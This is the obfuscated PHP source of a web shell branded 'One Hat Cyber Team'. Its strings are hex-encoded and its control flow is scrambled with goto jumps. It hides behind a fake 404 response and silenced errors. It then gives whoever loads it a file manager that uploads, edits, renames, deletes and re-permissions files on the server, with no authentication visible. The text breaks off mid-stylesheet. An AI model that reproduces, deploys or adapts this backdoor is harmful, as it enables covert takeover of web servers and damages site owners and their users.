"\42\40\x64\141\164\x61\x2d\164\x6f\x67\x67\154\x65\75\42\164\x6f\157\154\x74\x69\x70\x22\40\x64\141\164\141\x2d\160\x6c\141\x63\x65\155\145\x6e\x74\75\42\x61\165\164\x6f\42\x20\164\x69\164\x6c\x65\x3d\42\103\x68\141\x6e\147\x65\x20\120\x65\x72\x6d\151\x73\x73\x69\157\156\x73\x22\40\144\x61\x74\x61\55\157\162\151\x67\x69\156\141\x6c\55\x74\x69\164\154\x65\x3d\42\x43\x68\x61\156\147\x65\40\x50\145\x72\x6d\151\163\x73\151\x6f\156\x73\x22\x3e\x3c\x66\x6f\156\164\x20\x63\157\154\157\x72\x3d\x22" . ($c8[8]("{$Jd}\x2f{$F1}") ? "\43\x30\x30\146\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\43\x30\60\x62\x66\146\146" : null)) . "\x22\x3e" . rN("{$Jd}\x2f{$F1}") . "\x3c\57\146\x6f\x6e\164\x3e\x3c\x2f\x61\76\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x3c\57\164\x64\76\15\xa\x3c\x74\144\76\x3c\141\x20\x68\162\145\x66\x3d\x22\77\160\x3d" . Ss($Jd) . "\46\141\75" . Ss("\145\x64\x69\164") . "\x26\x6e\x3d" . SS($F1) . "\x22\x20\x64\141\x74\141\55\164\x6f\147\x67\154\145\x3d\42\x74\157\x6f\154\164\x69\160\x22\x20\144\x61\x74\141\55\x70\154\141\143\145\x6d\x65\156\164\x3d\x22\141\x75\164\x6f\42\40\x74\151\x74\x6c\x65\x3d\x22\105\144\151\164\x22\76\x45\x64\x69\164\x3c\x2f\141\76\74\57\x74\x64\x3e\15\xa\x3c\x74\144\76\74\141\40\150\162\145\x66\x3d\42\x3f\160\75" . ss($Jd) . "\46\141\x3d" . SS("\x72\x65\156\x61\x6d\145") . "\46\156\x3d" . ss($F1) . "\x26\164\75\146\x22\40\144\x61\x74\x61\55\164\x6f\x67\147\x6c\x65\75\x22\164\x6f\x6f\x6c\x74\151\x70\x22\40\144\x61\164\x61\x2d\160\154\141\x63\145\155\145\x6e\164\75\x22\141\x75\x74\x6f\42\x20\x74\151\164\x6c\x65\75\x22\122\145\156\141\x6d\x65\42\x3e\x52\x65\x6e\141\x6d\145\74\x2f\x61\76\74\x2f\164\x64\x3e\xd\xa\x3c\x74\x64\x3e\74\141\x20\150\x72\145\x66\x3d\42\77\x70\x3d" . ss($Jd) . "\x26\x61\75" . sS("\x64\x65\154\145\164\145") . "\46\156\75" . ss($F1) . "\42\40\x63\154\x61\x73\x73\75\42\x64\x65\154\145\x74\145\42\40\x64\x61\164\141\x2d\x74\171\x70\x65\75\42\146\151\154\145\42\40\x64\x61\164\x61\55\164\x6f\147\x67\154\x65\x3d\x22\164\157\157\x6c\164\151\x70\42\40\x64\x61\164\x61\x2d\x70\x6c\141\x63\145\x6d\145\x6e\164\x3d\x22\x61\165\164\157\42\x20\x74\x69\164\x6c\x65\75\42\x44\145\154\145\x74\145\x22\76\x44\145\154\145\x74\145\74\x2f\141\76\74\x2f\x74\x64\x3e\15\xa\x3c\57\x74\x72\76"; goto v2noY; glGuu: goto F6uUG; goto bcKKF; v9Eba: $kL = round($kL, 3); goto D3Ydb; ruO3g: if (!$c8[7]("{$Jd}\57{$F1}")) { goto ujbhv; } goto FaOlZ; nnWwd: WFhx4: goto RoXaA; cb8nr: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; goto v9Eba; FaOlZ: goto TomPa; goto JOFka; RoXaA: } goto KQMnt; OPLx1: WBrRw: goto Pou2M; KH9aY: function rn($F1) { goto Ejvon; zVqOc: n1F3e: goto EdX4F; l2o3k: HQRNE: goto L0VkZ; A3WMM: if (!(($Jd & 0x6000) == 0x6000)) { goto n1F3e; } goto Bqxqf; oofvc: goto Qxl4a; goto OqJkb; bFELY: pUF7c: goto Ad9mp; oqOEA: JthAK: goto DNxB7; XpXso: $lE = "\x6c"; goto GC653; szoa_: BDLif: goto hiN2A; UVoP8: goto Qxl4a; goto bFELY; aQqQF: cLJz2: goto uxsoy; nKEdw: if (!(($Jd & 0x2000) == 0x2000)) { goto JthAK; } goto l48bI; Ejvon: $Jd = fileperms($F1); goto T8j0w; huuz4: goto Qxl4a; goto sSQX4; kLO5U: goto Qxl4a; goto KOXs1; rGNN8: if (!(($Jd & 0xa000) == 0xa000)) { goto Tt_g_; } goto UWWll; Gyg5Y: $lE .= $Jd & 0x4 ? "\x72" : "\55"; goto wr2W5; kKDNR: return $lE; goto U5w5P; wr2W5: $lE .= $Jd & 0x2 ? "\x77" : "\55"; goto AQ5h1; GYiif: Tt_g_: goto cqeNy; tISrq: $lE .= $Jd & 0x20 ? "\x72" : "\x2d"; goto Wh334; a0iTu: goto pUF7c; goto jphQA; L0VkZ: $lE = "\55"; goto hjz5U; AQ5h1: $lE .= $Jd & 0x1 ? $Jd & 0x200 ? "\x74" : "\x78" : ($Jd & 0x200 ? "\124" : "\x2d"); goto kKDNR; OqJkb: wUPiF: goto XwcR2; uxsoy: $lE = "\142"; goto UVoP8; a1QMB: $lE .= $Jd & 0x8 ? $Jd & 0x400 ? "\x73" : "\x78" : ($Jd & 0x400 ? "\123" : "\x2d"); goto Gyg5Y; ZjeVr: goto HQRNE; goto PR2BP; XwcR2: $lE = "\160"; goto yFMrk; kSaVg: goto Qxl4a; goto szoa_; Wh334: $lE .= $Jd & 0x10 ? "\x77" : "\55"; goto a1QMB; Bqxqf: goto cLJz2; goto zVqOc; lW0lD: NZDZ0: goto otWx5; cqeNy: if (!(($Jd & 0x8000) == 0x8000)) { goto zIUdf; } goto ZjeVr; jphQA: SoToc: goto nKEdw; KOXs1: tPwHT: goto YHcDD; PR2BP: zIUdf: goto A3WMM; otWx5: $lE = "\x75"; goto kLO5U; EdX4F: if (!(($Jd & 0x4000) == 0x4000)) { goto SoToc; } goto a0iTu; BMObp: $lE .= $Jd & 0x80 ? "\167" : "\55"; goto uN3A5; l48bI: goto BDLif; goto oqOEA; wEWqy: DSca2: goto rGNN8; DNxB7: if (!(($Jd & 0x1000) == 0x1000)) { goto NZDZ0; } goto ilQKi; uN3A5: $lE .= $Jd & 0x40 ? $Jd & 0x800 ? "\x73" : "\170" : ($Jd & 0x800 ? "\123" : "\55"); goto tISrq; UWWll: goto OTKPa; goto GYiif; N1Dtg: $lE .= $Jd & 0x100 ? "\162" : "\x2d"; goto BMObp; T8j0w: if (!(($Jd & 0xc000) == 0xc000)) { goto DSca2; } goto XuXN8; XuXN8: goto tPwHT; goto wEWqy; hjz5U: goto Qxl4a; goto aQqQF; ilQKi: goto wUPiF; goto lW0lD; sSQX4: OTKPa: goto XpXso; hiN2A: $lE = "\143"; goto oofvc; Ad9mp: $lE = "\144"; goto kSaVg; YHcDD: $lE = "\163"; goto huuz4; yFMrk: Qxl4a: goto N1Dtg; GC653: goto Qxl4a; goto l2o3k; U5w5P: } goto P25a0; gbyid: $currentDir = getcwd(); goto JkfzH; yzR0z: echo "\74\x68\65\40\143\x6c\x61\163\x73\75\42\x70\55\x31\40\162\x61\151\x6e\x62\x6f\x77\x2d\x62\x6f\162\144\x65\x72\x22\40\163\164\x79\154\145\75\42\164\145\170\x74\55\x61\154\x69\147\156\72\40\x63\145\156\x74\x65\162\x3b\x22\76\105\144\x69\164\40\x4e\141\155\141\x20\106\x69\154\145\72\40\74\146\157\x6e\164\40\143\x6f\154\x6f\162\x3d\42\x77\150\x69\x74\145\x22\76"; goto CmQdn; GAJ_p: goto WuWzI; goto V60JP; lAGVG: lVpvL: goto MhAYt; Y6O3j: YepRA: goto gQPY8; hgzvg: Xe("\107\141\147\x61\x6c\x20\155\145\x6e\x67\165\142\x61\150\x20\x69\x7a\x69\156", 0); goto Nc198; UYCID: error_reporting(0); goto M5v3C; l8csR: cHfGd: goto ANEwH; pUQui: echo "\74\57\x73\x70\x61\x6e\x3e\74\57\154\x69\76\xd\12\74\154\151\76\x53\145\x72\x76\x65\162\40\72\40\74\163\x70\141\x6e\40\x73\164\171\x6c\145\75\x22\143\157\x6c\x6f\162\72\40\167\150\151\x74\145\x3b\42\76"; goto CgOkh; raqMq: if (!isset($_POST["\x63\162\x65\141\x74\145\137\146\x6f\x6c\x64\145\162"])) { goto nRhJi; } goto f5aRU; ks9gk: echo jD($_GET["\x6e"]); goto uiNll; cU25L: $G3 = $c8[5]($G3($Jd), ["\x2e", "\x2e\56"]); goto QUero; a5Rw_: GRYEX: goto h0yNe; tqIqH: Xe("\x66\x61\151\x6c\x65\x64\x20\164\157\40\x64\x65\x6c\x65\164\145\40\164\150\145\40\146\157\x6c\x64\145\x72", 0); goto qWFN0; ZB075: goto hodfB; goto e7SSd; l6lHy: $folderPath = "{$currentDir}\57{$folderName}"; goto DmZNj; klVg8: echo "\x3c\x74\x61\142\x6c\x65\x20\143\x6c\x61\163\163\x3d\x22\164\x61\x62\154\x65\40\x74\x61\x62\x6c\145\55\x68\157\x76\x65\x72\40\164\x61\142\154\145\x2d\142\157\x72\x64\145\x72\x6c\x65\x73\x73\40\x74\x61\x62\x6c\x65\55\x73\155\x22\x20\163\x74\x79\154\145\75\x22\164\x65\x78\x74\x2d\x61\154\151\147\156\x3a\x20\143\145\x6e\164\145\x72\73\167\151\144\164\x68\72\x20\x31\x30\x30\45\73\x22\x3e\xd\xa\74\164\x68\145\x61\x64\x20\x63\154\x61\163\163\x3d\42\164\145\170\x74\x2d\154\x69\147\150\164\42\76\15\xa\x3c\164\x72\76\xd\12\74\164\150\x20\x73\x74\x79\x6c\145\x3d\42\x77\x69\144\x74\150\72\40\64\65\45\73\x22\76\116\x61\155\x65\x3c\x2f\x74\x68\x3e\xd\xa\74\164\150\x20\163\x74\171\154\145\75\x22\x77\x69\x64\164\x68\x3a\x20\61\x33\45\x3b\42\x3e\123\x69\172\x65\74\x2f\164\x68\76\xd\xa\74\x74\150\40\163\x74\171\154\145\x3d\x22\167\x69\x64\x74\150\72\40\61\63\x25\73\x22\76\x50\x65\162\155\151\163\x73\x69\x6f\156\74\57\x74\x68\76\xd\12\x3c\164\150\x20\x63\157\x6c\163\160\x61\x6e\x3d\x22\63\x22\x3e\x41\143\x74\x69\157\156\74\x2f\x74\x68\x3e\15\12\74\x2f\x74\162\76\15\xa\74\57\164\150\x65\x61\x64\76\xd\12\x3c\x74\x62\157\144\x79\x20\143\154\x61\163\x73\x3d\42\164\x65\x78\164\x2d\154\x69\147\150\164\x22\x3e\x20"; goto cU25L; epYd3: $newName = $_POST["\x6e\145\x77\x5f\146\x69\154\145\137\156\141\155\x65"]; goto f7MJK; iOZrz: $fileName = $_POST["\146\151\x6c\x65\137\156\141\x6d\145"]; goto lBivr; xc4pX: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto aTsk5; iJrKt: goto llzId; goto PBWDG; z47JB: goto WuWzI; goto S2fjQ; Pou2M: XR5kC: goto hky0H; qZkE2: $G3 = "\x73\x63\141\156\x64\151\162"; goto VYu6Z; V4aUK: nhGdW: goto xc4pX; e7SSd: dT1Z5: goto qMY7j; I4Mr8: YmvX_: goto IP9JK; ZZiIv: if (!($index < $totalFiles)) { goto seOwc; } goto GIuA3; yexD7: seOwc: goto gjAvo; TR99t: $uploadedFiles = $_FILES["\146"]["\x6e\x61\155\145"]; goto CzeEQ; Lm_zM: l07qe: goto ImbKT; dJDOB: hodfB: goto X4MLJ; M5v3C: set_time_limit(0); goto ppUof; y8gBw: function Ss($SP) { goto VFIvz; UxKJ8: vxoby: goto x5OgC; YNm8N: XGek7: goto Q9fln; n9px0: ltYIR: goto BZWFo; aBxNw: goto h3xPx; goto YNm8N; zSA_R: $lE = 0; goto UxKJ8; Fyu82: return $dE; goto KN0eH; Acvg3: h3xPx: goto Fyu82; VFIvz: $dE = ''; goto zSA_R; tVInM: goto vxoby; goto Acvg3; BZWFo: $lE++; goto tVInM; Q9fln: $dE .= dechex(ord($SP[$lE])); goto n9px0; x5OgC: if ($lE < strlen($SP)) { goto XGek7; } goto aBxNw; KN0eH: } goto fRdU4; sZ6bB: echo "\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x70\x2d\x31\x20\162\141\151\156\x62\x6f\x77\55\x62\157\x72\144\145\x72\42\x20\163\164\x79\154\x65\75\x22\x74\x65\170\x74\x2d\141\x6c\x69\x67\156\72\40\x63\x65\x6e\164\x65\x72\x3b\42\x3e\x4e\141\155\x61\x20\x46\151\x6c\x65\40\102\x61\x72\165\x20\72\x3c\x2f\150\x35\x3e\15\xa\74\146\x6f\162\155\x20\x6d\x65\164\150\157\144\x3d\x22\x70\x6f\163\164\x22\x3e\15\xa\x20\x20\x20\40\x3c\x64\x69\166\x20\x63\x6c\141\163\163\x3d\x22\146\157\162\x6d\55\147\162\157\165\160\42\x3e\xd\xa\x20\40\40\40\40\40\x20\40\x3c\x69\156\x70\165\164\x20\164\x79\160\145\75\42\x74\145\170\x74\x22\x20\x6e\141\x6d\x65\x3d\x22\146\x69\154\145\x5f\156\x61\x6d\x65\42\x20\151\144\x3d\x22\146\151\x6c\x65\x5f\156\x61\155\x65\x22\x20\x63\x6c\x61\x73\x73\75\x22\x62\x6f\x72\x64\x65\x72\x20\160\55\x31\42\40\x73\164\171\x6c\x65\75\42\164\x65\x78\x74\55\x61\154\x69\x67\156\x3a\x20\143\145\156\x74\x65\x72\73\x22\76\xd\12\x20\40\x20\x20\74\57\144\151\166\76\xd\xa\40\40\40\x20\74\144\x69\166\40\x63\154\x61\163\163\x3d\42\x66\x6f\162\x6d\55\147\162\157\x75\160\42\x3e\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\x65\170\x74\x61\x72\x65\x61\x20\163\x74\x79\x6c\x65\75\42\x72\145\163\151\172\145\72\156\157\x6e\x65\x22\40\156\141\155\145\75\x22\x66\151\154\145\137\143\x6f\x6e\164\x65\x6e\164\x22\40\151\144\x3d\x22\146\x69\x6c\x65\137\143\157\x6e\x74\145\x6e\x74\x22\x20\x63\x6f\x6c\163\75\42\63\60\42\x20\x72\x6f\x77\x73\75\42\x31\60\42\40\x63\x6c\141\x73\163\75\x22\146\x6f\162\155\x2d\x63\157\x6e\164\x72\x6f\154\x20\x72\x61\x69\x6e\142\157\x77\55\142\x6f\162\x64\145\162\x22\x3e\74\x2f\164\145\x78\x74\x61\162\x65\141\x3e\15\xa\40\x20\x20\40\74\57\x64\x69\x76\76\xd\xa\x20\40\40\x20\x3c\144\151\166\40\143\x6c\141\x73\163\x3d\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\42\40\163\164\x79\x6c\x65\x3d\x22\155\141\x72\x67\151\x6e\55\164\157\160\x3a\40\61\60\160\x78\x3b\42\x3e\15\12\40\40\40\x20\40\40\x20\40\x3c\x62\165\164\164\x6f\x6e\40\164\171\x70\145\x3d\42\x73\x75\x62\155\x69\164\x22\40\x6e\x61\x6d\x65\75\x22\x63\x72\x65\141\x74\145\137\146\151\x6c\x65\42\40\143\154\x61\163\163\75\x22\157\150\x63\164\x22\x3e\x43\162\145\x61\x74\145\74\x2f\x62\165\x74\x74\157\156\76\xd\xa\x20\x20\x20\x20\74\x2f\144\x69\166\76\15\12\74\57\146\157\162\155\x3e\15\12\xd\12"; goto aRFgz; X4MLJ: goto Bym5W; goto lAGVG; JqxaL: if (mkdir($folderPath)) { goto dT1Z5; } goto BrZJD; g0l1M: SCm92: goto lygUa; ImbKT: xe("\x66\x6f\154\x64\x65\162\40\144\x65\154\145\164\145\144\x20\x73\165\x63\x63\x65\163\x73\x66\165\x6c\x6c\x79"); goto RgCVA; McJVv: echo "\15\12\x3c\x2f\x64\151\x76\x3e\xd\xa\74\x64\x69\166\40\x63\154\x61\163\x73\75\42\x74\x61\x62\154\x65\55\x72\x65\163\160\157\156\163\151\x76\145\x20\164\145\170\x74\55\154\151\147\150\164\40\162\141\x69\x6e\142\157\x77\55\x62\157\162\x64\x65\162\42\x20\x73\x74\171\x6c\145\75\x22\x74\145\x78\164\55\x61\154\x69\147\156\x3a\40\154\145\146\x74\73\x70\x61\x64\x64\151\156\147\72\x20\64\x70\170\x3b\x6d\141\x72\x67\151\x6e\55\x62\157\164\x74\x6f\155\x3a\40\x33\x70\170\x3b\155\x61\162\x67\x69\x6e\x2d\x74\157\160\72\40\63\160\170\x3b\x22\76\xd\12\74\x6c\x69\x3e\x44\151\x72\40\x3a\40\x3c\163\160\141\x6e\76"; goto eJzBg; UGZfs: Bym5W: goto gNdcw; IOs5m: goto JuQTj; goto b1Prt; xYynO: goto CiuOO; goto GrpvM; gjAvo: j8Ne4: goto McJVv; ned6r: if (isset($_GET["\x61"])) { goto DqkC1; } goto g4Bkd; ppUof: http_response_code(404); goto K0vFC; WY826: $fileName = basename(jD($_GET["\156"])); goto Uj6Nn; aTsk5: if (!($_GET["\x74"] == "\x64")) { goto GqE6o; } goto fFAU6; o5NaW: unlink($BL); goto dG_yF; P25a0: function Xe($OB, $Ch = 1, $BL = '') { goto lO7HY; lO7HY: global $Jd; goto Vijni; FfS6u: echo "\x3c\163\x63\162\x69\x70\x74\76\163\x77\141\x6c\50\x7b\x74\151\x74\x6c\145\x3a\40\x22{$xe}\x22\54\x20\164\x65\170\164\x3a\x20\42{$OB}\x22\54\40\151\143\x6f\156\x3a\x20\x22{$xe}\42\175\51\56\x74\150\x65\156\50\50\x62\164\x6e\103\x6c\x69\143\153\51\x20\75\x3e\40\173\151\146\x28\x62\x74\x6e\x43\x6c\x69\143\153\51\173\144\x6f\143\165\x6d\145\156\x74\x2e\x6c\x6f\143\x61\164\151\157\x6e\56\150\x72\145\146\x3d\x22\x3f\160\75" . Ss($Jd) . $BL . "\x22\175\x7d\51\74\x2f\x73\x63\162\151\160\x74\76"; goto JpMfM; Vijni: $xe = $Ch == 1 ? "\x73\165\143\x63\x65\163\x73" : "\145\162\x72\157\x72"; goto FfS6u; JpMfM: } goto nsWn8; VYu6Z: $c8 = ["\67\x30\66\70\67\60\65\146\x37\65\x36\x65\66\x31\66\x64\66\65", "\x37\x30\66\70\x37\60\x37\x36\x36\x35\67\62\x37\63\66\71\66\x66\x36\145", "\66\x37\x36\65\67\x34\x36\x33\x37\x37\66\x34", "\x36\63\x36\x38\x36\64\x36\71\67\x32", "\67\x30\x37\x32\x36\65\66\x37\65\146\x37\63\67\60\66\143\x36\x39\67\64", "\66\61\67\x32\67\62\66\61\67\x39\65\146\66\64\66\71\x36\x36\66\66", "\x36\x39\67\63\65\146\66\64\x36\71\x37\62", "\66\71\x37\63\65\146\x36\x36\66\71\66\143\x36\65", "\66\71\x37\x33\65\x66\67\x37\x37\x32\66\x39\x37\64\66\x31\66\62\66\143\x36\65", "\x36\71\x37\63\x35\x66\67\x32\x36\x35\66\x31\x36\x34\66\61\x36\62\x36\x63\66\65", "\x36\x36\x36\x39\x36\143\66\x35\67\63\66\x39\x37\141\x36\65", "\x36\63\66\x66\x37\x30\x37\71", "\x36\x36\66\x39\66\x63\66\x35\x35\146\x36\65\x37\x38\66\x39\67\63\67\x34\x37\63", "\x36\66\x36\71\66\x63\x36\x35\65\x66\x37\x30\67\x35\x37\x34\65\x66\66\63\66\146\66\145\x37\x34\66\65\66\145\x37\x34\67\63", "\66\66\66\x39\66\x63\x36\65\x35\146\x36\x37\x36\65\x37\64\65\x66\66\x33\66\x66\x36\x65\67\64\66\x35\x36\145\x37\x34\67\63", "\x36\x64\66\x62\66\64\66\71\x37\62", "\x37\x32\66\65\x36\145\66\x31\x36\144\66\x35", "\67\63\67\64\67\62\x37\64\x36\146\x37\x34\x36\71\66\144\x36\x35", "\x36\x38\x37\x34\66\144\66\x63\67\x33\x37\x30\66\x35\66\x33\x36\x39\x36\61\x36\x63\66\x33\66\x38\x36\x31\x37\62\67\x33", "\66\x34\66\x31\67\64\x36\65", "\66\66\66\71\66\143\x36\x35\x36\144\67\x34\x36\71\66\x64\x36\65"]; goto HhbxK; XbO1F: jpk0X: goto ui5BY; ui5BY: $index++; goto s1u_6; fJZSg: auqgv: goto m_WJB; yNbhO: $oldPath = "{$currentDir}\x2f" . jD($_GET["\x6e"]); goto W_YUR; xa4PM: goto SCm92; goto WsTPz; eucg0: xE("\x4e\x61\x6d\x61\40\146\151\154\145\40\164\x65\154\x61\x68\x20\144\x69\147\x75\156\x61\153\141\156", 0, "\x26\x61\75" . SS("\x6e\x65\167\x46\x69\x6c\145")); goto ThB_8; CKeJG: echo "\40\15\xa\74\41\104\117\x43\124\x59\x50\x45\40\150\164\x6d\x6c\x3e\xd\12\x3c\x68\x74\155\154\40\x6c\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\xa\74\150\x65\x61\x64\76\15\12\x20\x20\40\40\74\x6d\x65\x74\141\x20\160\x72\157\x70\145\x72\164\x79\75\42\x6f\x67\x3a\151\x6d\141\x67\x65\42\x20\143\x6f\156\164\x65\x6e\164\75\x22\57\57\x69\56\x69\155\147\165\162\x2e\143\157\x6d\x2f\x72\x72\x6f\124\120\x42\113\x2e\152\x70\x65\147\42\76\xd\xa\40\40\x20\x20\74\x6d\145\164\x61\40\160\x72\x6f\160\145\x72\x74\x79\x3d\x22\x6f\147\72\x74\x69\164\x6c\145\x22\40\143\x6f\156\x74\x65\x6e\164\75\x22\117\x6e\145\40\x48\141\164\x20\103\x79\x62\x65\x72\40\124\145\141\x6d\42\x3e\xd\12\x20\x20\40\40\74\155\145\164\x61\x20\x70\x72\x6f\x70\145\x72\164\171\x3d\42\157\147\x3a\x64\x65\x73\x63\162\151\160\x74\x69\x6f\156\x22\x20\143\x6f\156\164\145\x6e\x74\x3d\x22\102\171\x20\115\162\56\x43\x6f\x6d\142\145\x74\42\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\x74\x61\x20\156\x61\155\145\x3d\x22\164\x68\x65\x6d\145\55\x63\x6f\154\x6f\x72\42\40\x63\157\156\164\145\x6e\x74\x3d\x22\43\x30\x30\142\x66\146\146\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\x65\x74\141\40\x6e\141\155\x65\75\42\x76\x69\x65\x77\160\x6f\x72\164\x22\x20\x63\x6f\x6e\164\145\x6e\x74\75\x22\x77\x69\x64\164\150\x3d\144\x65\166\x69\143\x65\x2d\x77\151\x64\164\150\54\40\151\x6e\151\x74\151\x61\x6c\55\x73\143\x61\x6c\x65\x3d\x30\56\x36\x30\54\40\163\150\x72\151\156\x6b\55\164\157\x2d\x66\x69\x74\75\156\157\42\76\15\12\40\x20\40\x20\74\x74\x69\164\154\145\76\117\156\145\x20\110\x61\164\40\x43\171\142\x65\x72\40\124\x65\x61\155\x3c\57\x74\151\164\x6c\145\76\15\12\40\x20\x20\x20\x3c\154\x69\156\x6b\40\162\x65\x6c\x3d\42\x73\164\171\x6c\x65\163\x68\x65\145\x74\x22\x20\x68\162\x65\x66\x3d\42\x2f\x2f\x63\x64\156\56\x6a\x73\144\145\x6c\151\166\162\56\x6e\x65\164\57\x6e\160\x6d\x2f\x62\157\x6f\164\x73\164\x72\x61\x70\x40\64\56\66\x2e\60\x2f\x64\151\163\164\x2f\x63\163\163\x2f\142\157\x6f\164\163\x74\x72\x61\x70\x2e\155\x69\x6e\56\143\163\163\x22\x3e\xd\xa\40\40\40\x20\x3c\x6c\x69\x6e\x6b\x20\x72\x65\154\75\42\163\164\171\x6c\x65\163\150\x65\145\x74\42\x20\150\x72\x65\146\x3d\42\57\57\x63\x64\156\152\x73\56\x63\x6c\157\x75\144\146\154\141\162\145\x2e\143\x6f\155\x2f\x61\x6a\x61\170\x2f\x6c\151\x62\163\x2f\x66\157\x6e\164\x2d\141\x77\145\x73\157\155\x65\57\x34\x2e\x37\56\x30\x2f\143\163\x73\57\x66\157\x6e\x74\x2d\x61\x77\145\163\157\155\x65\x2e\x6d\151\x6e\56\143\163\x73\x22\x3e\15\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\145\x6c\75\x22\151\x63\157\x6e\42\x20\150\x72\145\146\x3d\42\x2f\x2f\x69\56\x69\x6d\x67\165\x72\x2e\143\157\x6d\x2f\x72\162\x6f\x54\120\x42\113\56\152\x70\145\147\42\76\xd\xa\x20\40\x20\40\74\x73\x74\x79\154\x65\x20\x74\x79\160\x65\x3d\42\164\x65\170\x74\57\x63\163\163\x22\76\xd\xa\100\151\155\x70\x6f\162\x74\x20\x75\x72\x6c\x28\47\150\x74\164\160\x73\x3a\x2f\57\x66\x6f\x6e\x74\x73\56\x67\x6f\x6f\147\x6c\145\141\160\151\163\56\143\x6f\155\x2f\x63\x73\x73\62\x3f\146\141\x6d\151\x6c\171\x3d\101\155\x61\x72\x61\x6e\x74\x68\72\x69\164\x61\x6c\54\x77\147\x68\x74\x40\x30\54\x34\60\x30\73\x30\54\67\x30\60\x3b\x31\x2c\x34\60\60\73\61\54\x37\60\x30\46\x64\x69\x73\160\x6c\x61\171\75\x73\167\141\160\47\x29\x3b\15\xa\142\157\x64\x79\x20\x7b\xd\12\40\40\x20\x20\143\x6f\x6c\x6f\162\72\x20\x62\x6c\x61\x63\x6b\73\xd\xa\40\40\40\x20\x66\157\156\x74\x2d\x73\x69\172\x65\72\40\60\x70\170\x3b\15\12\x20\x20\x20\x20\x66\x6f\156\x74\55\x66\x61\x6d\x69\154\171\x3a\40\47\101\x6d\x61\x72\x61\156\x74\x68\47\73\15\xa\40\40\40\x20\x77\x69\x64\x74\150\72\40\71\x39\x25\x3b\xd\xa\40\40\40\x20\x70\141\144\x64\x69\x6e\147\x3a\40\x30\160\170\x3b\xd\12\40\40\x20\40\155\x61\162\x67\151\x6e\x2d\162\151\147\150\164\72\x20\x61\x75\164\157\73\xd\12\40\40\40\x20\x6d\x61\162\x67\x69\x6e\55\x6c\x65\146\164\x3a\40\141\165\x74\157\x3b\15\12\40\40\40\40\155\x61\x72\147\151\156\x2d\x74\157\x70\x3a\40\x37\x70\x78\x3b\xd\12\40\40\x20\x20\155\141\162\147\151\x6e\55\x62\x6f\x74\x74\157\155\72\40\67\160\x78\73\15\12\40\40\x20\40\142\x61\143\x6b\147\x72\157\x75\x6e\x64\x2d\x63\157\x6c\x6f\162\72\x20\x62\154\141\143\153\x21\x69\155\x70\157\x72\x74\141\x6e\x74\x3b\xd\xa\x7d\xd\12\xd\12\56\x62\147\x2d\x64\x61\x72\x6b\40\173\15\xa\x20\x20\x20\40\142\x61\x63\x6b\147\162\157\165\156\144\x2d\143\157\154\157\162\x3a\x20\142\x6c\141\143\x6b\41\151\155\x70\157\x72\x74\141\156\164\73\15\12\175\15\xa\15\12\56\142\157\162\144\145\x72\40\173\15\xa\40\x20\x20\40\142\157\170\x2d\163\150\x61\144\157\167\x3a\x20\x30\x70\x78\x20\60\x70\x78\40\x31\x30\x70\x78\40\x23\x30\60\142\146\146\x66\x3b\xd\12\40\40\x20\40\x62\x6f\162\x64\145\x72\x3a\40\62\160\x78\x20\163\x6f\154\151\x64\x20\43\60\60\x62\x66\146\146\41\x69\x6d\160\157\162\164\141\156\164\73\xd\xa\40\x20\40\40\142\157\162\144\145\x72\x2d\x72\141\144\151\x75\x73\x3a\x20\x35\160\x78\73\xd\12\40\x20\x20\x20\142\141\143\153\x67\162\x6f\x75\156\x64\x3a\40\164\x72\x61\x6e\163\160\141\162\145\x6e\x74\73\xd\12\x7d\xd\12\15\12\56\142\157\162\144\145\x72\x3a\x68\x6f\x76\145\x72\x20\x7b\15\12\40\40\40\40\x62\157\170\x2d\163\x68\141\x64\157\167\x3a\40\x30\160\x78\40\x30\160\x78\40\x31\60\160\170\40\x23\x30\60\x62\146\x66\x66\x3b\xd\12\40\40\40\x20\142\x6f\x72\x64\x65\x72\x3a\x20\62\x70\170\40\x73\157\x6c\x69\x64\x20\43\60\60\x62\x66\146\x66\x21\x69\x6d\160\157\162\164\141\156\x74\x3b\15\12\x7d\15\xa\xd\12\x2e\164\141\142\x6c\145\40\164\x64\x20\x7b\xd\12\40\40\40\x20\x70\141\x64\x64\151\156\x67\72\40\x30\56\x31\162\145\x6d\x3b\xd\xa\40\40\x20\x20\142\157\x78\55\x73\150\141\144\157\x77\x3a\40\151\156\163\145\164\40\60\x70\170\x20\60\160\170\x20\60\x70\x78\40\61\160\170\40\x23\60\x30\x62\146\146\146\73\xd\12\x20\40\40\x20\142\x6f\x72\144\145\x72\x2d\162\x61\144\151\165\163\x3a\40\62\160\170\x3b\15\xa\x7d\15\xa\xd\12\56\x74\x61\142\x6c\x65\x20\164\x68\145\x61\x64\40\x74\150\x20\173\15\xa\x20\40\x20\x20\146\x6f\x6e\164\55\146\x61\x6d\151\x6c\171\72\40\47\x41\x6d\x61\162\x61\156\164\x68\47\x2c\x20\x63\x75\x72\163\151\x76\145\73\xd\12\40\40\x20\40\x62\157\x78\x2d\x73\150\x61\144\157\167\x3a\40\151\x6e\x73\145\164\40\x30\x70\170\x20\x30\x70\170\40\60\160\170\40\61\56\x35\160\x78\x20\x23\x30\60\x62\146\x66\x66\73\15\xa\40\x20\40\40\143\157\154\x6f\x72\72\x20\43\60\60\x62\x66\x66\146\73\xd\xa\x20\x20\x20\40\x70\141\x64\x64\x69\x6e\x67\72\x20\x30\x2e\62\65\x72\x65\155\73\15\12\x20\x20\x20\40\142\x6f\x72\144\x65\162\x2d\162\x61\x64\x69\165\163\x3a\x20\x35\x70\x78\x3b\15\xa\x20\x20\x20\40\x62\x61\x63\x6b\x67\162\x6f\165\x6e\144\x3a\x20\x6c\151\x6e\145\x61\x72\55\x67\162\141\144\151\x65\x6e\x74\x28\x74\157\x20\142\157\x74\164\157\x6d\54\40\x62\x6c\141\143\x6b\54\x20\x23\x33\146\63\146\x33\146\70\x30\51\x3b\15\12\x7d\xd\12\xd\xa\x2e\x74\141\x62\x6c\x65\55\150\157\166\x65\x72\x20\164\x62\157\x64\171\x